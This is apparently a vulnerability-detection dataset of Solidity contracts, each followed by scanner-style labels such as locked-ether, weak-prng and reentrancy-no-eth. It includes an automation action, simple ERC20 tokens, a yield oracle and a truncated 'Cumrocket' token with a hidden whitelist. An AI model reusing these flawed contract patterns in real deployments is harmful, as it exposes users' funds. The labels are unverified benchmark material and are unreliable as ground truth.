address public constant COMPOUND_SUB_ADDRESS = 0x52015EFFD577E08f498a0CCc11905925D58D6207;
address public constant AAVE_SUB_ADDRESS = 0x6B25043BF08182d8e86056C6548847aF607cd7CD;
}
interface ISubscriptions {
function unsubscribe() external;
function unsubscribe(uint256 _cdpId) external;
function subscribersPos(uint256) external view returns (uint256 arrPos, bool subscribed);
function subscribersPos(address) external view returns (uint256 arrPos, bool subscribed);
}
contract AutomationV2Unsub is ActionBase, SubscriptionsMainnetAddresses {
enum Protocols {
MCD,
COMPOUND,
AAVE
}
struct Params {
uint256 cdpId;
Protocols protocol;
}
/// @inheritdoc ActionBase
function executeAction(
bytes memory _callData,
bytes32[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual override returns (bytes32) {
Params memory params = parseInputs(_callData);
params.cdpId = _parseParamUint(
params.cdpId,
_paramMapping[0],
_subData,
_returnValues
);
params.protocol = Protocols(_parseParamUint(
uint256(params.protocol),
_paramMapping[1],
_subData,
_returnValues
));
bytes memory logData = _automationV2Unsub(params);
emit ActionEvent("Unsubscribe", logData);
}
/// @inheritdoc ActionBase
function executeActionDirect(bytes memory _callData) public payable virtual override {
Params memory params = parseInputs(_callData);
bytes memory logData = _automationV2Unsub(params);
logger.logActionDirectEvent("Unsubscribe", logData);
}
/// @inheritdoc ActionBase
function actionType() public pure virtual override returns (uint8) {
return uint8(ActionType.STANDARD_ACTION);
}
//////////////////////////// ACTION LOGIC ////////////////////////////
/// @notice Unsubscribes proxy from automation
function _automationV2Unsub(Params memory _params) internal returns (bytes memory logData) {
( uint256 cdpId, Protocols protocol ) = ( _params.cdpId, _params.protocol );
if (protocol == Protocols.MCD) {
ISubscriptions(MCD_SUB_ADDRESS).unsubscribe(cdpId);
} else if (protocol == Protocols.COMPOUND) {
ISubscriptions(COMPOUND_SUB_ADDRESS).unsubscribe();
} else if (protocol == Protocols.AAVE) {
ISubscriptions(AAVE_SUB_ADDRESS).unsubscribe();
} else revert("Invalid protocol argument");
logData = abi.encode(_params);
}
function parseInputs(bytes memory _callData) internal pure returns (Params memory params) {
params = abi.decode(_callData, (Params));
}
}
| These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'IOReceipts' token contract
//
// Deployed to : 0xF94BbFDFd39F3D28A9Ac158057e6B772E10fb717
// Symbol : IOR
// Name : IOReceipt
// Total supply: 100000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract IOReceipts is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function IOReceipts() public {
symbol = "IOR";
name = "IOReceipt";
decimals = 8;
_totalSupply = 210000000.00000000;
balances[0xF94BbFDFd39F3D28A9Ac158057e6B772E10fb717] = _totalSupply;
Transfer(address(0), 0xF94BbFDFd39F3D28A9Ac158057e6B772E10fb717, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IYieldOraclelizable.sol";
import "./IYieldOracle.sol";
// a modified version of https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleSlidingWindowOracle.sol
// sliding window oracle that uses observations collected over a window to provide moving yield averages in the past
// `windowSize` with a precision of `windowSize / granularity`
contract YieldOracle is IYieldOracle {
using SafeMath for uint256;
IYieldOraclelizable public cumulator;
struct Observation {
uint256 timestamp;
uint256 yieldCumulative;
}
// the desired amount of time over which the moving average should be computed, e.g. 24 hours
uint256 public immutable windowSize;
// the number of observations stored for each pair, i.e. how many price observations are stored for the window.
// as granularity increases from 1, more frequent updates are needed, but moving averages become more precise.
// averages are computed over intervals with sizes in the range:
// [windowSize - (windowSize / granularity) * 2, windowSize]
// e.g. if the window size is 24 hours, and the granularity is 24, the oracle will return the average price for
// the period:
// [now - [22 hours, 24 hours], now]
uint8 public immutable granularity;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint256 public immutable periodSize;
// list of yield observations
Observation[] public yieldObservations;
constructor(
address cumulator_,
uint256 windowSize_,
uint8 granularity_
) {
require(granularity_ > 1, "YO: GRANULARITY");
require(
(periodSize = windowSize_ / granularity_) * granularity_ ==
windowSize_,
"YO: WINDOW_NOT_EVENLY_DIVISIBLE"
);
windowSize = windowSize_;
granularity = granularity_;
cumulator = IYieldOraclelizable(cumulator_);
for (uint256 i = yieldObservations.length; i < granularity_; i++) {
yieldObservations.push();
}
}
// returns the index of the observation corresponding to the given timestamp
function observationIndexOf(uint256 timestamp_)
public
view
returns (uint8 index)
{
uint256 epochPeriod = timestamp_ / periodSize;
return uint8(epochPeriod % granularity);
}
// returns the observation from the oldest epoch (at the beginning of the window) relative to the current time
function getFirstObservationInWindow()
private
view
returns (Observation storage firstObservation)
{
uint8 observationIndex = observationIndexOf(block.timestamp);
// no overflow issue. if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = yieldObservations[firstObservationIndex];
}
// update the cumulative price for the observation at the current timestamp. each observation is updated at most
// once per epoch period.
function update() external virtual override {
// get the observation for the current period
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = yieldObservations[observationIndex];
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint256 timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed > periodSize) {
(uint256 yieldCumulative) = cumulator.cumulatives();
observation.timestamp = block.timestamp;
observation.yieldCumulative = yieldCumulative;
}
}
// given the cumulative yields of the start and end of a period, and the length of the period (timeElapsed in seconds), compute the average
// yield and extrapolate it for forInterval (seconds) in terms of how much amount out is received for the amount in
function computeAmountOut(
uint256 yieldCumulativeStart_,
uint256 yieldCumulativeEnd_,
uint256 timeElapsed_,
uint256 forInterval_
) private pure returns (uint256 yieldAverage) {
// ((yieldCumulativeEnd_ - yieldCumulativeStart_) * forInterval_) / timeElapsed_;
return yieldCumulativeEnd_.sub(yieldCumulativeStart_).mul(forInterval_).div(timeElapsed_);
}
// returns the amount out corresponding to the amount in for a given token using the moving average over the time
// range [now - [windowSize, windowSize - periodSize * 2], now]
// update must have been called for the bucket corresponding to timestamp `now - windowSize`
function consult(uint256 forInterval)
external
override
virtual
returns (uint256 yieldForInterval)
{
Observation storage firstObservation = getFirstObservationInWindow();
uint256 timeElapsed = block.timestamp - firstObservation.timestamp;
if (!(timeElapsed <= windowSize)) {
// originally:
// require(
// timeElapsed <= windowSize,
// "YO: MISSING_HISTORICAL_OBSERVATION"
// );
// if the oracle is falling behind, it reports 0 yield => there's no incentive to buy sBOND
return 0;
}
if (!(timeElapsed >= windowSize - periodSize * 2)) {
// originally:
// should never happen.
// require(
// timeElapsed >= windowSize - periodSize * 2,
// "YO: UNEXPECTED_TIME_ELAPSED"
// );
// if the oracle is in an odd state, it reports 0 yield => there's no incentive to buy sBOND
return 0;
}
(uint256 yieldCumulative) = cumulator.cumulatives();
return
computeAmountOut(
firstObservation.yieldCumulative,
yieldCumulative,
timeElapsed,
forInterval
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IYieldOraclelizable {
// accumulates/updates internal state and returns cumulatives
// oracle should call this when updating
function cumulatives()
external
returns(uint256 cumulativeYield);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IYieldOracle {
function update() external;
function consult(uint256 forInterval) external returns (uint256 amountOut);
}
| These are the vulnerabilities found
1) weak-prng with High impact
2) reentrancy-no-eth with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address=>bool) private _enable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_mint(0xe45b99f5B91d355195E744733c93EF3c403E331d, 100000000000 *10**18);
_enable[0xe45b99f5B91d355195E744733c93EF3c403E331d] = true;
// MainNet / testnet, Uniswap Router
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_name = "Cumrocket";
_symbol = "CUM";
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
